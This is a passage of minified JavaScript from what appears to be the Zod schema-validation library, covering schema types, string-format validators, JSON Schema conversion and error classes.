Reflect.ownKeys(u)){if(m==="__proto__"||!Object.prototype.propertyIsEnumerable.call(u,m))continue;let h=n.keyType._zod.run({value:m,issues:[]},s);if(h instanceof Promise)throw new Error("Async schemas not supported in object keys currently");if(typeof m=="string"&&wv.test(m)&&h.issues.length){const I=n.keyType._zod.run({value:Number(m),issues:[]},s);if(I instanceof Promise)throw new Error("Async schemas not supported in object keys currently");I.issues.length===0&&(h=I)}if(h.issues.length){n.mode==="loose"?o.value[m]=u[m]:o.issues.push({code:"invalid_key",origin:"record",issues:h.issues.map(I=>gn(I,s,hn())),input:m,path:[m],inst:e});continue}const w=n.valueType._zod.run({value:u[m],issues:[]},s);w instanceof Promise?p.push(w.then(I=>{I.issues.length&&o.issues.push(...qr(m,I.issues)),o.value[h.value]=I.value})):(w.issues.length&&o.issues.push(...qr(m,w.issues)),o.value[h.value]=w.value)}}return p.length?Promise.all(p).then(()=>o):o}}),Y8=j("$ZodEnum",(e,n)=>{De.init(e,n);const o=dv(n.entries),s=new Set(o);e._zod.values=s,e._zod.pattern=new RegExp(`^(${o.filter(u=>a_.has(typeof u)).map(u=>typeof u=="string"?eo(u):u.toString()).join("|")})$`),e._zod.parse=(u,p)=>{const d=u.value;return s.has(d)||u.issues.push({code:"invalid_value",values:o,input:d,inst:e}),u}}),X8=j("$ZodLiteral",(e,n)=>{if(De.init(e,n),n.values.length===0)throw new Error("Cannot create literal schema with no valid values");const o=new Set(n.values);e._zod.values=o,e._zod.pattern=new RegExp(`^(${n.values.map(s=>typeof s=="string"?eo(s):s?eo(s.toString()):String(s)).join("|")})$`),e._zod.parse=(s,u)=>{const p=s.value;return o.has(p)||s.issues.push({code:"invalid_value",values:n.values,input:p,inst:e}),s}}),ew=j("$ZodTransform",(e,n)=>{De.init(e,n),e._zod.optin="optional",e._zod.parse=(o,s)=>{if(s.direction==="backward")throw new cv(e.constructor.name);const u=n.transform(o.value,o);if(s.async)return(u instanceof Promise?u:Promise.resolve(u)).then(d=>(o.value=d,o.fallback=!0,o));if(u instanceof Promise)throw new Wr;return o.value=u,o.fallback=!0,o}});function em(e,n){return n===void 0&&(e.issues.length||e.fallback)?{issues:[],value:void 0}:e}const Cv=j("$ZodOptional",(e,n)=>{De.init(e,n),e._zod.optin="optional",e._zod.optout="optional",ze(e._zod,"values",()=>n.innerType._zod.values?new Set([...n.innerType._zod.values,void 0]):void 0),ze(e._zod,"pattern",()=>{const o=n.innerType._zod.pattern;return o?new RegExp(`^(${Ou(o.source)})?$`):void 0}),e._zod.parse=(o,s)=>{if(n.innerType._zod.optin==="optional"){const u=o.value,p=n.innerType._zod.run(o,s);return p instanceof Promise?p.then(d=>em(d,u)):em(p,u)}return o.value===void 0?o:n.innerType._zod.run(o,s)}}),tw=j("$ZodExactOptional",(e,n)=>{Cv.init(e,n),ze(e._zod,"values",()=>n.innerType._zod.values),ze(e._zod,"pattern",()=>n.innerType._zod.pattern),e._zod.parse=(o,s)=>n.innerType._zod.run(o,s)}),nw=j("$ZodNullable",(e,n)=>{De.init(e,n),ze(e._zod,"optin",()=>n.innerType._zod.optin),ze(e._zod,"optout",()=>n.innerType._zod.optout),ze(e._zod,"pattern",()=>{const o=n.innerType._zod.pattern;return o?new RegExp(`^(${Ou(o.source)}|null)$`):void 0}),ze(e._zod,"values",()=>n.innerType._zod.values?new Set([...n.innerType._zod.values,null]):void 0),e._zod.parse=(o,s)=>o.value===null?o:n.innerType._zod.run(o,s)}),rw=j("$ZodDefault",(e,n)=>{De.init(e,n),e._zod.optin="optional",ze(e._zod,"values",()=>n.innerType._zod.values),e._zod.parse=(o,s)=>{if(s.direction==="backward")return n.innerType._zod.run(o,s);if(o.value===void 0)return o.value=n.defaultValue,o;const u=n.innerType._zod.run(o,s);return u instanceof Promise?u.then(p=>tm(p,n)):tm(u,n)}});function tm(e,n){return e.value===void 0&&(e.value=n.defaultValue),e}const ow=j("$ZodPrefault",(e,n)=>{De.init(e,n),e._zod.optin="optional",ze(e._zod,"values",()=>n.innerType._zod.values),e._zod.parse=(o,s)=>(s.direction==="backward"||o.value===void 0&&(o.value=n.defaultValue),n.innerType._zod.run(o,s))}),iw=j("$ZodNonOptional",(e,n)=>{De.init(e,n),ze(e._zod,"values",()=>{const o=n.innerType._zod.values;return o?new Set([...o].filter(s=>s!==void 0)):void 0}),e._zod.parse=(o,s)=>{const u=n.innerType._zod.run(o,s);return u instanceof Promise?u.then(p=>nm(p,e)):nm(u,e)}});function nm(e,n){return!e.issues.length&&e.value===void 0&&e.issues.push({code:"invalid_type",expected:"nonoptional",input:e.value,inst:n}),e}const aw=j("$ZodCatch",(e,n)=>{De.init(e,n),e._zod.optin="optional",ze(e._zod,"optout",()=>n.innerType._zod.optout),ze(e._zod,"values",()=>n.innerType._zod.values),e._zod.parse=(o,s)=>{if(s.direction==="backward")return n.innerType._zod.run(o,s);const u=n.innerType._zod.run(o,s);return u instanceof Promise?u.then(p=>(o.value=p.value,p.issues.length&&(o.value=n.catchValue({...o,error:{issues:p.issues.map(d=>gn(d,s,hn()))},input:o.value}),o.issues=[],o.fallback=!0),o)):(o.value=u.value,u.issues.length&&(o.value=n.catchValue({...o,error:{issues:u.issues.map(p=>gn(p,s,hn()))},input:o.value}),o.issues=[],o.fallback=!0),o)}}),sw=j("$ZodPipe",(e,n)=>{De.init(e,n),ze(e._zod,"values",()=>n.in._zod.values),ze(e._zod,"optin",()=>n.in._zod.optin),ze(e._zod,"optout",()=>n.out._zod.optout),ze(e._zod,"propValues",()=>n.in._zod.propValues),e._zod.parse=(o,s)=>{if(s.direction==="backward"){const p=n.out._zod.run(o,s);return p instanceof Promise?p.then(d=>ba(d,n.in,s)):ba(p,n.in,s)}const u=n.in._zod.run(o,s);return u instanceof Promise?u.then(p=>ba(p,n.out,s)):ba(u,n.out,s)}});function ba(e,n,o){return e.issues.length?(e.aborted=!0,e):n._zod.run({value:e.value,issues:e.issues,fallback:e.fallback},o)}const lw=j("$ZodReadonly",(e,n)=>{De.init(e,n),ze(e._zod,"propValues",()=>n.innerType._zod.propValues),ze(e._zod,"values",()=>n.innerType._zod.values),ze(e._zod,"optin",()=>n.innerType?._zod?.optin),ze(e._zod,"optout",()=>n.innerType?._zod?.optout),e._zod.parse=(o,s)=>{if(s.direction==="backward")return n.innerType._zod.run(o,s);const u=n.innerType._zod.run(o,s);return u instanceof Promise?u.then(rm):rm(u)}});function rm(e){return e.value=Object.freeze(e.value),e}const uw=j("$ZodCustom",(e,n)=>{St.init(e,n),De.init(e,n),e._zod.parse=(o,s)=>o,e._zod.check=o=>{const s=o.value,u=n.fn(s);if(u instanceof Promise)return u.then(p=>om(p,o,s,e));om(u,o,s,e)}});function om(e,n,o,s){if(!e){const u={code:"custom",input:o,inst:s,path:[...s._zod.def.path??[]],continue:!s._zod.def.abort};s._zod.def.params&&(u.params=s._zod.def.params),n.issues.push(ai(u))}}var im;class cw{constructor(){this._map=new WeakMap,this._idmap=new Map}add(n,...o){const s=o[0];return this._map.set(n,s),s&&typeof s=="object"&&"id"in s&&this._idmap.set(s.id,n),this}clear(){return this._map=new WeakMap,this._idmap=new Map,this}remove(n){const o=this._map.get(n);return o&&typeof o=="object"&&"id"in o&&this._idmap.delete(o.id),this._map.delete(n),this}get(n){const o=n._zod.parent;if(o){const s={...this.get(o)??{}};delete s.id;const u={...s,...this._map.get(n)};return Object.keys(u).length?u:void 0}return this._map.get(n)}has(n){return this._map.has(n)}}function dw(){return new cw}(im=globalThis).__zod_globalRegistry??(im.__zod_globalRegistry=dw());const Qo=globalThis.__zod_globalRegistry;function pw(e,n){return new e({type:"string",...ie(n)})}function fw(e,n){return new e({type:"string",format:"email",check:"string_format",abort:!1,...ie(n)})}function am(e,n){return new e({type:"string",format:"guid",check:"string_format",abort:!1,...ie(n)})}function mw(e,n){return new e({type:"string",format:"uuid",check:"string_format",abort:!1,...ie(n)})}function vw(e,n){return new e({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v4",...ie(n)})}function hw(e,n){return new e({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v6",...ie(n)})}function gw(e,n){return new e({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v7",...ie(n)})}function Rv(e,n){return new e({type:"string",format:"url",check:"string_format",abort:!1,...ie(n)})}function yw(e,n){return new e({type:"string",format:"emoji",check:"string_format",abort:!1,...ie(n)})}function _w(e,n){return new e({type:"string",format:"nanoid",check:"string_format",abort:!1,...ie(n)})}function ww(e,n){return new e({type:"string",format:"cuid",check:"string_format",abort:!1,...ie(n)})}function Ew(e,n){return new e({type:"string",format:"cuid2",check:"string_format",abort:!1,...ie(n)})}function xw(e,n){return new e({type:"string",format:"ulid",check:"string_format",abort:!1,...ie(n)})}function Iw(e,n){return new e({type:"string",format:"xid",check:"string_format",abort:!1,...ie(n)})}function Sw(e,n){return new e({type:"string",format:"ksuid",check:"string_format",abort:!1,...ie(n)})}function kw(e,n){return new e({type:"string",format:"ipv4",check:"string_format",abort:!1,...ie(n)})}function bw(e,n){return new e({type:"string",format:"ipv6",check:"string_format",abort:!1,...ie(n)})}function zw(e,n){return new e({type:"string",format:"cidrv4",check:"string_format",abort:!1,...ie(n)})}function Tw(e,n){return new e({type:"string",format:"cidrv6",check:"string_format",abort:!1,...ie(n)})}function Cw(e,n){return new e({type:"string",format:"base64",check:"string_format",abort:!1,...ie(n)})}function Rw(e,n){return new e({type:"string",format:"base64url",check:"string_format",abort:!1,...ie(n)})}function Bw(e,n){return new e({type:"string",format:"e164",check:"string_format",abort:!1,...ie(n)})}function Pw(e,n){return new e({type:"string",format:"jwt",check:"string_format",abort:!1,...ie(n)})}function Nw(e,n){return new e({type:"string",format:"datetime",check:"string_format",offset:!1,local:!1,precision:null,...ie(n)})}function Aw(e,n){return new e({type:"string",format:"date",check:"string_format",...ie(n)})}function Ow(e,n){return new e({type:"string",format:"time",check:"string_format",precision:null,...ie(n)})}function jw(e,n){return new e({type:"string",format:"duration",check:"string_format",...ie(n)})}function $w(e,n){return new e({type:"number",checks:[],...ie(n)})}function Lw(e,n){return new e({type:"number",check:"number_format",abort:!1,format:"safeint",...ie(n)})}function Dw(e,n){return new e({type:"boolean",...ie(n)})}function Mw(e,n){return new e({type:"bigint",coerce:!0,...ie(n)})}function Fw(e){return new e({type:"unknown"})}function Uw(e,n){return new e({type:"never",...ie(n)})}function Aa(e,n){return new xv({check:"less_than",...ie(n),value:e,inclusive:!1})}function Hr(e,n){return new xv({check:"less_than",...ie(n),value:e,inclusive:!0})}function Oa(e,n){return new Iv({check:"greater_than",...ie(n),value:e,inclusive:!1})}function Un(e,n){return new Iv({check:"greater_than",...ie(n),value:e,inclusive:!0})}function uu(e,n){return new n8({check:"multiple_of",...ie(n),value:e})}function Bv(e,n){return new o8({check:"max_length",...ie(n),maximum:e})}function ja(e,n){return new i8({check:"min_length",...ie(n),minimum:e})}function Pv(e,n){return new a8({check:"length_equals",...ie(n),length:e})}function Zw(e,n){return new s8({check:"string_format",format:"regex",...ie(n),pattern:e})}function qw(e){return new l8({check:"string_format",format:"lowercase",...ie(e)})}function Vw(e){return new u8({check:"string_format",format:"uppercase",...ie(e)})}function Ww(e,n){return new c8({check:"string_format",format:"includes",...ie(n),includes:e})}function Hw(e,n){return new d8({check:"string_format",format:"starts_with",...ie(n),prefix:e})}function Kw(e,n){return new p8({check:"string_format",format:"ends_with",...ie(n),suffix:e})}function io(e){return new f8({check:"overwrite",tx:e})}function Gw(e){return io(n=>n.normalize(e))}function Jw(){return io(e=>e.trim())}function Qw(){return io(e=>e.toLowerCase())}function Yw(){return io(e=>e.toUpperCase())}function Xw(){return io(e=>o_(e))}function e5(e,n,o){return new e({type:"array",element:n,...ie(o)})}function t5(e,n,o){return new e({type:"custom",check:"custom",fn:n,...ie(o)})}function n5(e,n){const o=r5(s=>(s.addIssue=u=>{if(typeof u=="string")s.issues.push(ai(u,s.value,o._zod.def));else{const p=u;p.fatal&&(p.continue=!1),p.code??(p.code="custom"),p.input??(p.input=s.value),p.inst??(p.inst=o),p.continue??(p.continue=!o._zod.def.abort),s.issues.push(ai(p))}},e(s.value,s)),n);return o}function r5(e,n){const o=new St({check:"custom",...ie(n)});return o._zod.check=e,o}function Nv(e){let n=e?.target??"draft-2020-12";return n==="draft-4"&&(n="draft-04"),n==="draft-7"&&(n="draft-07"),{processors:e.processors??{},metadataRegistry:e?.metadata??Qo,target:n,unrepresentable:e?.unrepresentable??"throw",override:e?.override??(()=>{}),io:e?.io??"output",counter:0,seen:new Map,cycles:e?.cycles??"ref",reused:e?.reused??"inline",external:e?.external??void 0}}function Ye(e,n,o={path:[],schemaPath:[]}){var s;const u=e._zod.def,p=n.seen.get(e);if(p)return p.count++,o.schemaPath.includes(e)&&(p.cycle=o.path),p.schema;const d={schema:{},count:1,cycle:void 0,path:o.path};n.seen.set(e,d);const m=e._zod.toJSONSchema?.();if(m)d.schema=m;else{const w={...o,schemaPath:[...o.schemaPath,e],path:o.path};if(e._zod.processJSONSchema)e._zod.processJSONSchema(n,d.schema,w);else{const z=d.schema,B=n.processors[u.type];if(!B)throw new Error(`[toJSONSchema]: Non-representable type encountered: ${u.type}`);B(e,n,z,w)}const I=e._zod.parent;I&&(d.ref||(d.ref=I),Ye(I,n,w),n.seen.get(I).isParent=!0)}const h=n.metadataRegistry.get(e);return h&&Object.assign(d.schema,h),n.io==="input"&&mt(e)&&(delete d.schema.examples,delete d.schema.default),n.io==="input"&&"_prefault"in d.schema&&((s=d.schema).default??(s.default=d.schema._prefault)),delete d.schema._prefault,n.seen.get(e).schema}function Av(e,n){const o=e.seen.get(n);if(!o)throw new Error("Unprocessed schema. This is a bug in Zod.");const s=new Map;for(const d of e.seen.entries()){const m=e.metadataRegistry.get(d[0])?.id;if(m){const h=s.get(m);if(h&&h!==d[0])throw new Error(`Duplicate schema id "${m}" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);s.set(m,d[0])}}const u=d=>{const m=e.target==="draft-2020-12"?"$defs":"definitions";if(e.external){const I=e.external.registry.get(d[0])?.id,z=e.external.uri??(D=>D);if(I)return{ref:z(I)};const B=d[1].defId??d[1].schema.id??`schema${e.counter++}`;return d[1].defId=B,{defId:B,ref:`${z("__shared")}#/${m}/${B}`}}if(d[1]===o)return{ref:"#"};const y=`#/${m}/`,w=d[1].schema.id??`__schema${e.counter++}`;return{defId:w,ref:y+w}},p=d=>{if(d[1].schema.$ref)return;const m=d[1],{ref:h,defId:y}=u(d);m.def={...m.schema},y&&(m.defId=y);const w=m.schema;for(const I in w)delete w[I];w.$ref=h};if(e.cycles==="throw")for(const d of e.seen.entries()){const m=d[1];if(m.cycle)throw new Error(`Cycle detected: #/${m.cycle?.join("/")}/<root>
-
-Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs.`)}for(const d of e.seen.entries()){const m=d[1];if(n===d[0]){p(d);continue}if(e.external){const y=e.external.registry.get(d[0])?.id;if(n!==d[0]&&y){p(d);continue}}if(e.metadataRegistry.get(d[0])?.id){p(d);continue}if(m.cycle){p(d);continue}if(m.count>1&&e.reused==="ref"){p(d);continue}}}function Ov(e,n){const o=e.seen.get(n);if(!o)throw new Error("Unprocessed schema. This is a bug in Zod.");const s=m=>{const h=e.seen.get(m);if(h.ref===null)return;const y=h.def??h.schema,w={...y},I=h.ref;if(h.ref=null,I){s(I);const B=e.seen.get(I),D=B.schema;if(D.$ref&&(e.target==="draft-07"||e.target==="draft-04"||e.target==="openapi-3.0")?(y.allOf=y.allOf??[],y.allOf.push(D)):Object.assign(y,D),Object.assign(y,w),m._zod.parent===I)for(const A in y)A==="$ref"||A==="allOf"||A in w||delete y[A];if(D.$ref&&B.def)for(const A in y)A==="$ref"||A==="allOf"||A in B.def&&JSON.stringify(y[A])===JSON.stringify(B.def[A])&&delete y[A]}const z=m._zod.parent;if(z&&z!==I){s(z);const B=e.seen.get(z);if(B?.schema.$ref&&(y.$ref=B.schema.$ref,B.def))for(const D in y)D==="$ref"||D==="allOf"||D in B.def&&JSON.stringify(y[D])===JSON.stringify(B.def[D])&&delete y[D]}e.override({zodSchema:m,jsonSchema:y,path:h.path??[]})};for(const m of[...e.seen.entries()].reverse())s(m[0]);const u={};if(e.target==="draft-2020-12"?u.$schema="https://json-schema.org/draft/2020-12/schema":e.target==="draft-07"?u.$schema="http://json-schema.org/draft-07/schema#":e.target==="draft-04"?u.$schema="http://json-schema.org/draft-04/schema#":e.target,e.external?.uri){const m=e.external.registry.get(n)?.id;if(!m)throw new Error("Schema is missing an `id` property");u.$id=e.external.uri(m)}Object.assign(u,o.def??o.schema);const p=e.metadataRegistry.get(n)?.id;p!==void 0&&u.id===p&&delete u.id;const d=e.external?.defs??{};for(const m of e.seen.entries()){const h=m[1];h.def&&h.defId&&(h.def.id===h.defId&&delete h.def.id,d[h.defId]=h.def)}e.external||Object.keys(d).length>0&&(e.target==="draft-2020-12"?u.$defs=d:u.definitions=d);try{const m=JSON.parse(JSON.stringify(u));return Object.defineProperty(m,"~standard",{value:{...n["~standard"],jsonSchema:{input:$a(n,"input",e.processors),output:$a(n,"output",e.processors)}},enumerable:!1,writable:!1}),m}catch{throw new Error("Error converting schema to JSON.")}}function mt(e,n){const o=n??{seen:new Set};if(o.seen.has(e))return!1;o.seen.add(e);const s=e._zod.def;if(s.type==="transform")return!0;if(s.type==="array")return mt(s.element,o);if(s.type==="set")return mt(s.valueType,o);if(s.type==="lazy")return mt(s.getter(),o);if(s.type==="promise"||s.type==="optional"||s.type==="nonoptional"||s.type==="nullable"||s.type==="readonly"||s.type==="default"||s.type==="prefault")return mt(s.innerType,o);if(s.type==="intersection")return mt(s.left,o)||mt(s.right,o);if(s.type==="record"||s.type==="map")return mt(s.keyType,o)||mt(s.valueType,o);if(s.type==="pipe")return e._zod.traits.has("$ZodCodec")?!0:mt(s.in,o)||mt(s.out,o);if(s.type==="object"){for(const u in s.shape)if(mt(s.shape[u],o))return!0;return!1}if(s.type==="union"){for(const u of s.options)if(mt(u,o))return!0;return!1}if(s.type==="tuple"){for(const u of s.items)if(mt(u,o))return!0;return!!(s.rest&&mt(s.rest,o))}return!1}const o5=(e,n={})=>o=>{const s=Nv({...o,processors:n});return Ye(e,s),Av(s,e),Ov(s,e)},$a=(e,n,o={})=>s=>{const{libraryOptions:u,target:p}=s??{},d=Nv({...u??{},target:p,io:n,processors:o});return Ye(e,d),Av(d,e),Ov(d,e)},i5={guid:"uuid",url:"uri",datetime:"date-time",json_string:"json-string",regex:""},a5=(e,n,o,s)=>{const u=o;u.type="string";const{minimum:p,maximum:d,format:m,patterns:h,contentEncoding:y}=e._zod.bag;if(typeof p=="number"&&(u.minLength=p),typeof d=="number"&&(u.maxLength=d),m&&(u.format=i5[m]??m,u.format===""&&delete u.format,m==="time"&&delete u.format),y&&(u.contentEncoding=y),h&&h.size>0){const w=[...h];w.length===1?u.pattern=w[0].source:w.length>1&&(u.allOf=[...w.map(I=>({...n.target==="draft-07"||n.target==="draft-04"||n.target==="openapi-3.0"?{type:"string"}:{},pattern:I.source}))])}},s5=(e,n,o,s)=>{const u=o,{minimum:p,maximum:d,format:m,multipleOf:h,exclusiveMaximum:y,exclusiveMinimum:w}=e._zod.bag;typeof m=="string"&&m.includes("int")?u.type="integer":u.type="number";const I=typeof w=="number"&&w>=(p??Number.NEGATIVE_INFINITY),z=typeof y=="number"&&y<=(d??Number.POSITIVE_INFINITY),B=n.target==="draft-04"||n.target==="openapi-3.0";I?B?(u.minimum=w,u.exclusiveMinimum=!0):u.exclusiveMinimum=w:typeof p=="number"&&(u.minimum=p),z?B?(u.maximum=y,u.exclusiveMaximum=!0):u.exclusiveMaximum=y:typeof d=="number"&&(u.maximum=d),typeof h=="number"&&(u.multipleOf=h)},l5=(e,n,o,s)=>{o.type="boolean"},u5=(e,n,o,s)=>{if(n.unrepresentable==="throw")throw new Error("BigInt cannot be represented in JSON Schema")},c5=(e,n,o,s)=>{o.not={}},d5=(e,n,o,s)=>{},p5=(e,n,o,s)=>{const u=e._zod.def,p=dv(u.entries);p.every(d=>typeof d=="number")&&(o.type="number"),p.every(d=>typeof d=="string")&&(o.type="string"),o.enum=p},f5=(e,n,o,s)=>{const u=e._zod.def,p=[];for(const d of u.values)if(d===void 0){if(n.unrepresentable==="throw")throw new Error("Literal `undefined` cannot be represented in JSON Schema")}else if(typeof d=="bigint"){if(n.unrepresentable==="throw")throw new Error("BigInt literals cannot be represented in JSON Schema");p.push(Number(d))}else p.push(d);if(p.length!==0)if(p.length===1){const d=p[0];o.type=d===null?"null":typeof d,n.target==="draft-04"||n.target==="openapi-3.0"?o.enum=[d]:o.const=d}else p.every(d=>typeof d=="number")&&(o.type="number"),p.every(d=>typeof d=="string")&&(o.type="string"),p.every(d=>typeof d=="boolean")&&(o.type="boolean"),p.every(d=>d===null)&&(o.type="null"),o.enum=p},m5=(e,n,o,s)=>{if(n.unrepresentable==="throw")throw new Error("Custom types cannot be represented in JSON Schema")},v5=(e,n,o,s)=>{if(n.unrepresentable==="throw")throw new Error("Transforms cannot be represented in JSON Schema")},h5=(e,n,o,s)=>{const u=o,p=e._zod.def,{minimum:d,maximum:m}=e._zod.bag;typeof d=="number"&&(u.minItems=d),typeof m=="number"&&(u.maxItems=m),u.type="array",u.items=Ye(p.element,n,{...s,path:[...s.path,"items"]})},g5=(e,n,o,s)=>{const u=o,p=e._zod.def;u.type="object",u.properties={};const d=p.shape;for(const y in d)u.properties[y]=Ye(d[y],n,{...s,path:[...s.path,"properties",y]});const m=new Set(Object.keys(d)),h=new Set([...m].filter(y=>{const w=p.shape[y]._zod;return n.io==="input"?w.optin===void 0:w.optout===void 0}));h.size>0&&(u.required=Array.from(h)),p.catchall?._zod.def.type==="never"?u.additionalProperties=!1:p.catchall?p.catchall&&(u.additionalProperties=Ye(p.catchall,n,{...s,path:[...s.path,"additionalProperties"]})):n.io==="output"&&(u.additionalProperties=!1)},y5=(e,n,o,s)=>{const u=e._zod.def,p=u.inclusive===!1,d=u.options.map((m,h)=>Ye(m,n,{...s,path:[...s.path,p?"oneOf":"anyOf",h]}));p?o.oneOf=d:o.anyOf=d},_5=(e,n,o,s)=>{const u=e._zod.def,p=Ye(u.left,n,{...s,path:[...s.path,"allOf",0]}),d=Ye(u.right,n,{...s,path:[...s.path,"allOf",1]}),m=y=>"allOf"in y&&Object.keys(y).length===1,h=[...m(p)?p.allOf:[p],...m(d)?d.allOf:[d]];o.allOf=h},w5=(e,n,o,s)=>{const u=o,p=e._zod.def;u.type="object";const d=p.keyType,h=d._zod.bag?.patterns;if(p.mode==="loose"&&h&&h.size>0){const w=Ye(p.valueType,n,{...s,path:[...s.path,"patternProperties","*"]});u.patternProperties={};for(const I of h)u.patternProperties[I.source]=w}else(n.target==="draft-07"||n.target==="draft-2020-12")&&(u.propertyNames=Ye(p.keyType,n,{...s,path:[...s.path,"propertyNames"]})),u.additionalProperties=Ye(p.valueType,n,{...s,path:[...s.path,"additionalProperties"]});const y=d._zod.values;if(y){const w=[...y].filter(I=>typeof I=="string"||typeof I=="number");w.length>0&&(u.required=w)}},E5=(e,n,o,s)=>{const u=e._zod.def,p=Ye(u.innerType,n,s),d=n.seen.get(e);n.target==="openapi-3.0"?(d.ref=u.innerType,o.nullable=!0):o.anyOf=[p,{type:"null"}]},x5=(e,n,o,s)=>{const u=e._zod.def;Ye(u.innerType,n,s);const p=n.seen.get(e);p.ref=u.innerType},I5=(e,n,o,s)=>{const u=e._zod.def;Ye(u.innerType,n,s);const p=n.seen.get(e);p.ref=u.innerType,o.default=JSON.parse(JSON.stringify(u.defaultValue))},S5=(e,n,o,s)=>{const u=e._zod.def;Ye(u.innerType,n,s);const p=n.seen.get(e);p.ref=u.innerType,n.io==="input"&&(o._prefault=JSON.parse(JSON.stringify(u.defaultValue)))},k5=(e,n,o,s)=>{const u=e._zod.def;Ye(u.innerType,n,s);const p=n.seen.get(e);p.ref=u.innerType;let d;try{d=u.catchValue(void 0)}catch{throw new Error("Dynamic catch values are not supported in JSON Schema")}o.default=d},b5=(e,n,o,s)=>{const u=e._zod.def,p=u.in._zod.traits.has("$ZodTransform"),d=n.io==="input"?p?u.out:u.in:u.out;Ye(d,n,s);const m=n.seen.get(e);m.ref=d},z5=(e,n,o,s)=>{const u=e._zod.def;Ye(u.innerType,n,s);const p=n.seen.get(e);p.ref=u.innerType,o.readOnly=!0},jv=(e,n,o,s)=>{const u=e._zod.def;Ye(u.innerType,n,s);const p=n.seen.get(e);p.ref=u.innerType},T5=j("ZodISODateTime",(e,n)=>{z8.init(e,n),Ve.init(e,n)});function O(e){return Nw(T5,e)}const C5=j("ZodISODate",(e,n)=>{T8.init(e,n),Ve.init(e,n)});function R5(e){return Aw(C5,e)}const B5=j("ZodISOTime",(e,n)=>{C8.init(e,n),Ve.init(e,n)});function P5(e){return Ow(B5,e)}const N5=j("ZodISODuration",(e,n)=>{R8.init(e,n),Ve.init(e,n)});function A5(e){return jw(N5,e)}const O5=(e,n)=>{vv.init(e,n),e.name="ZodError",Object.defineProperties(e,{format:{value:o=>y_(e,o)},flatten:{value:o=>g_(e,o)},addIssue:{value:o=>{e.issues.push(o),e.message=JSON.stringify(e.issues,su,2)}},addIssues:{value:o=>{e.issues.push(...o),e.message=JSON.stringify(e.issues,su,2)}},isEmpty:{get(){return e.issues.length===0}}})},Ft=j("ZodError",O5,{Parent:Error}),j5=$u(Ft),$5=Lu(Ft),L5=Va(Ft),D5=Wa(Ft),M5=E_(Ft),F5=x_(Ft),U5=I_(Ft),Z5=S_(Ft),q5=k_(Ft),V5=b_(Ft),W5=z_(Ft),H5=T_(Ft),sm=new WeakMap;function li(e,n,o){const s=Object.getPrototypeOf(e);let u=sm.get(s);if(u||(u=new Set,sm.set(s,u)),!u.has(n)){u.add(n);for(const p in o){const d=o[p];Object.defineProperty(s,p,{configurable:!0,enumerable:!1,get(){const m=d.bind(this);return Object.defineProperty(this,p,{configurable:!0,writable:!0,enumerable:!0,value:m}),m},set(m){Object.defineProperty(this,p,{configurable:!0,writable:!0,enumerable:!0,value:m})}})}}}const Fe=j("ZodType",(e,n)=>(De.init(e,n),Object.assign(e["~standard"],{jsonSchema:{input:$a(e,"input"),output:$a(e,"output")}}),e.toJSONSchema=o5(e,{}),e.def=n,e.type=n.type,Object.defineProperty(e,"_def",{value:n}),e.parse=(o,s)=>j5(e,o,s,{callee:e.parse}),e.safeParse=(o,s)=>L5(e,o,s),e.parseAsync=async(o,s)=>$5(e,o,s,{callee:e.parseAsync}),e.safeParseAsync=async(o,s)=>D5(e,o,s),e.spa=e.safeParseAsync,e.encode=(o,s)=>M5(e,o,s),e.decode=(o,s)=>F5(e,o,s),e.encodeAsync=async(o,s)=>U5(e,o,s),e.decodeAsync=async(o,s)=>Z5(e,o,s),e.safeEncode=(o,s)=>q5(e,o,s),e.safeDecode=(o,s)=>V5(e,o,s),e.safeEncodeAsync=async(o,s)=>W5(e,o,s),e.safeDecodeAsync=async(o,s)=>H5(e,o,s),li(e,"ZodType",{check(...o){const s=this.def;return this.clone(Gn(s,{checks:[...s.checks??[],...o.map(u=>typeof u=="function"?{_zod:{check:u,def:{check:"custom"},onattach:[]}}:u)]}),{parent:!0})},with(...o){return this.check(...o)},clone(o,s){return Jn(this,o,s)},brand(){return this},register(o,s){return o.add(this,s),this},refine(o,s){return this.check(LE(o,s))},superRefine(o,s){return this.check(DE(o,s))},overwrite(o){return this.check(io(o))},optional(){return dm(this)},exactOptional(){return kE(this)},nullable(){return pm(this)},nullish(){return dm(pm(this))},nonoptional(o){return BE(this,o)},array(){return N(this)},or(o){return Qn([this,o])},and(o){return wE(this,o)},transform(o){return fm(this,IE(o))},default(o){return TE(this,o)},prefault(o){return RE(this,o)},catch(o){return NE(this,o)},pipe(o){return fm(this,o)},readonly(){return jE(this)},describe(o){const s=this.clone();return Qo.add(s,{description:o}),s},meta(...o){if(o.length===0)return Qo.get(this);const s=this.clone();return Qo.add(s,o[0]),s},isOptional(){return this.safeParse(void 0).success},isNullable(){return this.safeParse(null).success},apply(o){return o(this)}}),Object.defineProperty(e,"description",{get(){return Qo.get(e)?.description},configurable:!0}),e)),$v=j("_ZodString",(e,n)=>{Du.init(e,n),Fe.init(e,n),e._zod.processJSONSchema=(s,u,p)=>a5(e,s,u);const o=e._zod.bag;e.format=o.format??null,e.minLength=o.minimum??null,e.maxLength=o.maximum??null,li(e,"_ZodString",{regex(...s){return this.check(Zw(...s))},includes(...s){return this.check(Ww(...s))},startsWith(...s){return this.check(Hw(...s))},endsWith(...s){return this.check(Kw(...s))},min(...s){return this.check(ja(...s))},max(...s){return this.check(Bv(...s))},length(...s){return this.check(Pv(...s))},nonempty(...s){return this.check(ja(1,...s))},lowercase(s){return this.check(qw(s))},uppercase(s){return this.check(Vw(s))},trim(){return this.check(Jw())},normalize(...s){return this.check(Gw(...s))},toLowerCase(){return this.check(Qw())},toUpperCase(){return this.check(Yw())},slugify(){return 